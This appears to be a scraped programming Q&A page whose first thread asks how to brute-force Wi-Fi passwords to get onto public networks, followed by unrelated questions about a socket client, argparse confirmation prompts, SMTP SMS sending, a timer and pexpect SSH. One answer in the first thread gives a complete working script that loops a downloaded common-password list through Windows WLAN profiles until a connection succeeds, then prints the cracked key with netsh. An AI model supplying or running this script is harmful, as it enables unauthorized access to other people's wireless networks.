How to Brute Force a wifi Password with python? - python

When I’m in public I want to have access to the internet, so I’ve been writing a script to find wifi passwords for a while now. I found a way like “dictionary attack” that I don’t like.
I found a script on the internet to connect to wifi using python:
import os
import platform
import getpass
y = "y"
Y = "Y"
n = "n"
N = "N"
def createNewConnection(name, SSID, key):
config = """<?xml version=\"1.0\"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>"""+name+"""</name>
<SSIDConfig>
<SSID>
<name>"""+SSID+"""</name>
</SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<MSM>
<security>
<authEncryption>
<authentication>WPA2PSK</authentication>
<encryption>AES</encryption>
<useOneX>false</useOneX>
</authEncryption>
<sharedKey>
<keyType>passPhrase</keyType>
<protected>false</protected>
<keyMaterial>"""+key+"""</keyMaterial>
</sharedKey>
</security>
</MSM>
</WLANProfile>"""
if platform.system() == "Windows":
command = "netsh wlan add profile filename=\""+name+".xml\""+" interface=Wi-Fi"
with open(name+".xml", 'w') as file:
file.write(config)
elif platform.system() == "Linux":
command = "nmcli dev wifi connect '"+SSID+"' password '"+key+"'"
os.system(command)
if platform.system() == "Windows":
os.remove(name+".xml")
def connect(name, SSID):
if platform.system() == "Windows":
command = "netsh wlan connect name=\""+name+"\" ssid=\""+SSID+"\" interface=Wi-Fi"
elif platform.system() == "Linux":
command = "nmcli con up "+SSID
os.system(command)
def displayAvailableNetworks():
if platform.system() == "Windows":
command = "netsh wlan show networks interface=Wi-Fi"
elif platform.system() == "Linux":
command = "nmcli dev wifi list"
os.system(command)
try:
displayAvailableNetworks()
option = input("New connection (y/N)? ")
if option == n or option == N:
name = input("Name: ")
connect(name, name)
print("If you aren't connected to this network, try connecting with correct credentials")
elif option == y or option == Y:
name = input("Name: ")
key = getpass.getpass("Password: ")
createNewConnection(name, name, key)
connect(name, name)
print("If you aren't connected to this network, try connecting with correct credentials")
except KeyboardInterrupt as e:
print("\nExiting...")
You have to enter the password yourself in this script.
In this line
key = getpass.getpass ("Password:")
I should switch "Password:" with variable that the script would try to search for until it is successful...
I found a script to find the password and completed it. The only problem is that in this script the program knows the value of the password. With each attempt, he can check if it matches the correct password.
import itertools
import string
def guess_password(real):
chars = string.ascii_lowercase + string.digits
attempts = 0
for password_length in range(8, 9):
for guess in itertools.product(chars, repeat=password_length):
attempts += 1
guess = ''.join(guess)
if guess == real:
return 'password is {}. found in {} guesses.'.format(guess, attempts)
print(guess, attempts)
print(guess_password('abc'))
I should connect these two scripts but I don't know how. It is not clear to me how to find the value of a variable that is unknown- (password).
I would be very happy if someone could explain the above problem to me. I’m new to these things and they’re not the clearest to me. Thanks for the reply

what we think is not always right. the already in market attack tools use a completely different approach to attack and gain access.They use the handshakes to match the pass with the actual passkey and this is how they validate if it is correct or not.
You are using a very naive way and this would hardly work.Look at the complexity of this program and lets assume you try 1000000 different key. the code would run forever.
Research more learn about handshakes decryption.

I know i am late for this but i found another way that might work using your code.
It tries common passwords from a .txt file i got from gihub https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10k-most-common.txt
Here is the code.
import os
import platform
import time
import requests
url = "http://www.python.org"
timeout = 5
def createNewConnection(name, SSID, key):
config = """<?xml version=\"1.0\"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>"""+name+"""</name>
<SSIDConfig>
<SSID>
<name>"""+SSID+"""</name>
</SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<MSM>
<security>
<authEncryption>
<authentication>WPA2PSK</authentication>
<encryption>AES</encryption>
<useOneX>false</useOneX>
</authEncryption>
<sharedKey>
<keyType>passPhrase</keyType>
<protected>false</protected>
<keyMaterial>"""+key+"""</keyMaterial>
</sharedKey>
</security>
</MSM>
</WLANProfile>"""
if platform.system() == "Windows":
command = "netsh wlan add profile filename=\""+name+".xml\""+" interface=Wi-Fi"
with open(name+".xml", 'w') as file:
file.write(config)
elif platform.system() == "Linux":
command = "nmcli dev wifi connect '"+SSID+"' password '"+key+"'"
os.system(command)
if platform.system() == "Windows":
os.remove(name+".xml")
def connect(name, SSID):
os.system("netsh wlan connect name=\""+name+"\" ssid=\""+SSID+"\" interface=Wi-Fi")
def displayAvailableNetworks():
os.system("netsh wlan show networks interface=Wi-Fi")
print("[LOADING] Searching if connected to any network")
try:
request = requests.get(url, timeout=timeout)
print("[-] Please disconnect your internet for this operation to work, try again later"), exit()
except (requests.ConnectionError, requests.Timeout) as exception:
print("[LOADING] Loading program..."), time.sleep(1)
connected = True
while connected:
try:
displayAvailableNetworks()
WIFI = input("WIFI Name: ")
with open("Brute Force\passwords.txt", "r") as f:
for line in f:
words = line.split()
if words:
print(f"Password: {words[0]}")
createNewConnection(WIFI, WIFI, words[0])
connect(WIFI, WIFI)
try:
request = requests.get(url, timeout=timeout)
connected = False
choice = input(f"[+] The password might have been cracked, are you connected to {WIFI} (y/N) ? ")
if choice == "y":
print("\n[EXITING] Operation canceled")
exit()
elif choice == "n":
print("\n[-] Operation continues\n")
except (requests.ConnectionError, requests.Timeout) as exception:
print("[LOADING] Loading program..."), time.sleep(1)
print("[+] Operation complete")
choice = input("See WIFI Information (y/N) ? ")
if choice == "y" or "Y":
print(f"[LOADING] Searching for {WIFI} network")
time.sleep(1)
os.system(f'netsh wlan show profile name="{WIFI}" key=clear')
exit()
elif choice == "n" or "N":
print("\n[EXITING] Exiting program...")
time.sleep(2)
exit()
except KeyboardInterrupt as e:
print("\n[[EXITING] Aborting program...")
exit()

Related

error with python socket module, client closing immediately on startup

the issue with my program is as follows:
i've been working on a socket server for some rp stuff dont mind that part, the more worrisome part is the fact that now my client just closes after trying to fix a massive vulnerability where if you press enter it will show "invalid input" then press enter again it will just log you into the server itself via a prompt shown after login. that part isnt relevant only the fact that the client closes immediately when i open it, any advice or issues i should look at? you should also note that def passwd(): was added in attempt to fix the issue, what i did was put the password prompt in a function, then call the function after connecting via ngrok tunnel, the code is below:
import socket
from os import name as os_name, system
from colorama import init, Fore as cc
import select
import time
dr = DR = r = R = cc.LIGHTRED_EX
g = G = cc.LIGHTGREEN_EX
b = B = cc.LIGHTBLUE_EX
m = M = cc.LIGHTMAGENTA_EX
c = C = cc.LIGHTCYAN_EX
y = Y = cc.LIGHTYELLOW_EX
w = W = cc.RESET
HEADER = 64
clear = lambda: system('cls') if os_name == 'nt' else system('clear')
clear()
PORT = input("Enter Port Number > ")
FORMAT = "utf-8"
DISCONNECT_MESSAGE = "!disconnect"
SERVER = input("Enter Tunnel Address > ")
PORT1 = int(PORT)
ADDR = (SERVER, PORT1)
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(ADDR)
passwd()
def send(msg):
message = msg.encode(FORMAT)
msg_length = len(message)
send_length = str(msg_length).encode(FORMAT)
send_length += b' ' * (HEADER - len(send_length))
client.send(send_length)
client.send(message)
print(client.recv(2048).decode(FORMAT))
clear()
def ssrselec():
ssr = input("Input User ID > ")
if ssr:
clear()
send(ssr)
time.sleep(2)
if not ssr:
clear()
print("INVALID INPUT")
client.close()
def select():
selec = input("Types: Internal, External\n\nSelect Database Type > ")
if selec:
clear()
send(selec)
time.sleep(2)
ssrselec()
if not selec:
clear()
print("INVALID INPUT")
client.close()
print("To disconnect type !disconnect\n")
def passwd():
inp = input("Input Database Password > ")
if inp:
clear()
send(inp)
time.sleep(2)
select()
if not inp:
clear()
print("INVALID INPUT")
client.close()
inp2 = input(" > ")
if inp2:
clear()
send(inp2)
time.sleep(2)
select()
if not inp2:
clear()
print("INVALID INPUT")
client.close()
clear()
select()
clear()
my linter shows that passwd() is called before it is declared.
You should define passwd() before it is called.
You can do this by defining it earlier in the code or by hoisting all functions with this at the end:
if __name__==`__main__`:
# some code

Getting Python to Confirm If/Elif/Else before proceeding

I've written a simple python script to take command line arguments and write them to a file for deployment to a router using Ansible. But before my script creates that output file, I want to force the user to confirm the request with a Y/N (Yes or No) entry.
How can I modify this script to request that after each if/elif statement?
#!/usr/bin/python
import argparse
import sys
parser = argparse.ArgumentParser()
parser.add_argument("-s", "--set", help="set", action="store_true")
parser.add_argument("-d", "--delete", help="delete", action="store_true")
parser.add_argument("-i", "--ipaddr", help="Target IP")
args = parser.parse_args()
if args.set:
print "Deploying: set routing-options static route %s" % (args.ipaddr)
filename = open("/var/tmp/output.txt",'w')
sys.stdout = filename
print "set routing-options static route %s" % (args.ipaddr)
elif args.delete:
print "Deploying: delete routing-options static route %s" % (args.ipaddr)
filename = open("/var/tmp/output.txt",'w')
sys.stdout = filename
print "delete routing-options static route %s" % (args.ipaddr)
else:
exit(1)
Just write a ask_confirm function and call it wherever needed:
def ask_confirm(msg="Are you sure?"):
answer = ""
while answer not in ("yes", "no"):
answer = input(msg + " [yes/no]")
return (True if answer == "yes" else False)
The default value of msg lets you call ask_confirm with a generic message.
It returns a boolean value so it is easier to handle.
The inputs could be customized in a fancier way if needed.
Here is a fancier version:
def ask_confirm(msg="Are you sure?", yes=None, no=None):
if yes is None:
yes = ["yes"]
if no is None:
no = ["no"]
if isinstance(yes, str):
yes = [yes]
if isinstance(no, str):
no = [no]
answer = ""
while answer not in yes and answer not in no:
answer = input(msg + " [{}/{}]".format(yes[0], no[0]))
return (True if answer in yes else False)
Then you can ask for confirmation at the beginning of each block:
if args.set:
if not ask_confirm("Do you really want to set?"):
sys.exit()
# else (not needed)
# proceed
elif args.delete:
if not ask_confirm("Are you sure you want to delete?"):
sys.exit()
# else (not needed)
# proceed
else:
sys.exit(1)

smtplib.SMTPRecipientsRefused error on Python script

I have got this code:
import smtplib
import os
import time
import sys
import argparse
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
class smsGatewaying:
def login_gmail(self,user,password):
self.server = smtplib.SMTP("smtp.gmail.com", 587)
self.server.starttls()
try:
gmail_user = args.gmail_user
gmail_password = args.gmail_password
except SMTPAuthenticationError:
print "SMTP authentication went wrong. Most probably the server didn't accept the username/password combination provided."
finally:
if gmail_password < '1':
print 'Insert a password!'
gmail_password = getpass.getpass(prompt="Insert the GMail password: ")
else:
self.server.login(gmail_user, gmail_password)
print 'Login successfully.'
time.sleep(0.75)
x.select_country()
def select_country(self):
print 'Insert country: '
country = raw_input()
if country == 'Italy' or country == 'italy':
italian_carriers = ['number#sms.vodafone.it',
'39number#timnet.com']
select_carriers = raw_input("Select carriers: ")
if select_carriers == 'Vodafone' or select_carriers == 'vodafone':
number = 0
elif select_carriers == 'TIM' or select_carriers == 'tim' or select_carriers == 'Tim':
number = 1
else:
print "L'operatore telefonico selezionato non è disponibile."
time.sleep(0.80)
x.select_country()
x.send_message_normal(italian_carriers[number])
else:
sys.exit()
def send_message_normal(self, carriers):
msg = MIMEMultipart()
msg['sender'] = raw_input("Insert sender: ")
msg['telephone'] = input("Insert telephone number: ")
text = raw_input("Insert text: ")
msg.attach = (MIMEText(text))
carriers.replace('number',str(msg['telephone']))
final = raw_input("Are you sure?[Y/N] ")
if final == 'y' or final == 'Y':
self.server.sendmail(msg['sender'],str(msg['telephone']),text)
elif final == 'n' or final == 'N':
exit_ = raw_input("Do you want to exit?[Y/N] ")
if exit_ == 'Y' or exit_ == 'y':
print 'Run main script...'
newWorkingDirectory = '../BRES.py'
os.path.join(os.path.abspath(sys.path[0]), newWorkingDirectory)
os.system('python BRES.py')
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("gmail_user", type=str)
parser.add_argument("gmail_password",type=str)
args = parser.parse_args()
x = smsGatewaying()
print 'Welcome to SMS Gatewaying service! Multiple countries and multiple carriers are available.'
time.sleep(1)
x.login_gmail(args.gmail_user,args.gmail_password)
After the trying to send message to a number, I got this error on shell:
smtplib.SMTPRecipientsRefused: {'29403983292209': (553, "5.1.2 We
weren't able to find the recipient domain. Please check for any\n5.1.2
spelling errors, and make sure you didn't enter any spaces,
periods,\n5.1.2 or other punctuation after the recipient's email
address. a6sm58887940eei.10 - gsmtp")}
I tried all, but without solutions :(
Consider this line:
self.server.sendmail(msg['sender'],str(msg['telephone']),text)
What do you think the value of msg['telephone'] is at this point? Try printing out the value of each of the parameters to self.server.sendmail(). I believe that you will discover that msg[telephone] is the telephone number. It is not an email address.
Try using these two lines instead of the ones you have:
to = carriers.replace('number',str(msg['telephone']))
and
self.server.sendmail(msg['sender'],to,text)
After a lot of searching and crying... the error is ovoked by the email from where you are trying to send.
In my case this one was down, once changed by a functional one the mail came out as usual.
I made tests directly in console, changing the data by normal text and changing one by one until it came out.

Interrupting a timer

I'm creating part of a program right now for a personal project and I need some help on one aspect of it.
Here is how the program works:
User enters the amount of time to run
User enters the text - Files are modified
Timer is started
optional User can enter "password" to interrupt the timer
Actions are reversed
I have all of the steps coded except the Timer because I'm trying to figure out the best way to do this. Ideally, I'd like the timer to be displaying a countdown, and if the user enters a certain "password" the timer is interrupted and it skips to step number 5.
Would the best way to do this be with a thread? I haven't worked much with threads in the past. I just need someway for the timer to be displayed while also giving control back to the user in case they want to enter that password.
Thanks for any help you provide.
Here's the code:
import time
import urllib
import sys
def restore():
backup = open(r'...backupfile.txt','r')
text = open(r'...file.txt', 'w+')
text.seek(0)
for line in backup:
text.write(line)
backup.close()
text.close()
text = open(r'...file.txt', 'a+')
backup = open(r'...backupfile.txt','w+')
text.seek(0)
for line in text:
backup.write(line)
backup.close()
while True:
url = raw_input('Please enter a URL: ')
try:
if url[:7] != 'http://':
urllib.urlopen('http://' + url)
else:
urllib.urlopen(url)
except IOError:
print "Not a real URL"
continue
text.write(url)
while True:
choice = raw_input('Would you like to enter another url? (y/n): ')
try:
if choice == 'y' or choice == 'n':
break
except:
continue
if choice == 'y':
text.seek(2)
continue
elif choice == 'n':
while True:
choice = raw_input('Would you to restore your file to the original backup (y/n): ')
try:
if choice == 'y' or choice == 'n':
break
except:
continue
if choice == 'y':
text.close()
restore()
sys.exit('Your file has been restored')
else:
text.close()
sys.exit('Your file has been modified')
As you can see, I haven't added the timing part yet. It's pretty straight forward, just adding urls to a text file and then closing them. If the user wants the original file, reverse() is called.
Under Windows you can use msvcrt to ask for a key. Asking for a password is actually more complex, because you have to track several keys. This program stops with F1.
import time
import msvcrt
from threading import Thread
import threading
class worker(Thread):
def __init__(self,maxsec):
self._maxsec = maxsec
Thread.__init__(self)
self._stop = threading.Event()
def run(self):
i = 1
start = time.time()
while not self.stopped():
t = time.time()
dif = t-start
time.sleep(1) # you want to take this out later (implement progressbar)
# print something once in a while
if i%2==0: print '.',
#check key pressed
if msvcrt.kbhit():
if ord(msvcrt.getch()) == 59:
self.stop()
#do stuff
# timeout
if dif > self._maxsec:
break
i+=1
def stop(self):
print 'thread stopped'
self._stop.set()
def stopped(self):
return self._stop.isSet()
print 'number of seconds to run '
timeToRun = raw_input()
#input files
#not implemented
#run
w = worker(timeToRun)
w.run()
#reverse actions

python pexpect will not work with a dynamic value

So I've got a program that will ssh on to a remote server and start an iperf sever of that end.
When thats running it will iperf that sever from the client side.
It works fine when I give the IP address statically for example:
p=pexpect.spawn('ssh -t -x paddy#20.20.20.20 ' + iperf)
But not when I use:
p=pexpect.spawn('ssh -t -x paddy#'+ADDRESS+' ' + iperf)
I get a:
'pexpect.TIMEOUT'
ADDRESS is definitely going in correctly.
Any one have any ideas about whats going wrong?
#!/usr/bin/env python
import pexpect
import re
import shutil
import getpass
import struct, fcntl, os, sys, signal, time
def start_Server(iperf, password, ADDRESS):
ssh_newkey = 'Are you sure you want to continue connecting'
fix = ADDRESS+' ' + iperf
p=pexpect.spawn('ssh -t -x paddy#'+ fix)
i=p.expect([ssh_newkey,'password:',pexpect.EOF,pexpect.TIMEOUT],1)
if i==0:
print "I say yes"
p.sendline('yes')
i=p.expect([ssh_newkey,'password:',pexpect.EOF])
if i==1:
pwtp = False
trysout = True
while pwtp == False:
trysout = True
p.sendline(password)
loginStuff=p.expect(['Permission denied, please try again.','Permission denied (publickey,password).', '------------------------------------------------------------', pexpect.TIMEOUT,pexpect.EOF],1)
if loginStuff == 0:
password = getpass.getpass("Please enter "+ADDRESS+"'s Password")
elif loginStuff == 1:
print 'Sorry but you faild to login'
sys.exit(0)
pwtp = True
trysout = False
elif loginStuff == 2:
pwtp = True
i=3
elif loginStuff == 4:
pwtp = True
pass
else:
pass
elif i==2:
print "I either got key or connection timeout"
pass
elif i==4:
print "I either got key or connection timeout"
pass
if i==3: #timeout
print fix
print ADDRESS
print 'we find outselfs in a timeout'
print i
pass
return p, password
def RepresentsInt(s):
try:
int(s)
return True
except ValueError:
return False
var = raw_input("Enter the destination IP address: ")
ADDRESS = var
password = getpass.getpass("Please enter "+ADDRESS+"'s Password")
t, password = start_Server('iperf -s', password, ADDRESS)
u, password = start_Server('iperf -u -s', password, ADDRESS)
print ADDRESS
p=pexpect.spawn('ssh -t -x paddy#20.20.20.20 iperf -u -s')
ssh_newkey = 'Are you sure you want to continue connecting'
i=p.expect([ssh_newkey,'password:',pexpect.EOF])
if i == 0:
print ssh_newkey
elif i == 1:
print 'password:'
elif i == 2:
print pexpect.EOF
else:
print 'Sorry what!?'
print i
It worked when I took the pexpect ssh out of the subroutine.

Categories

Resources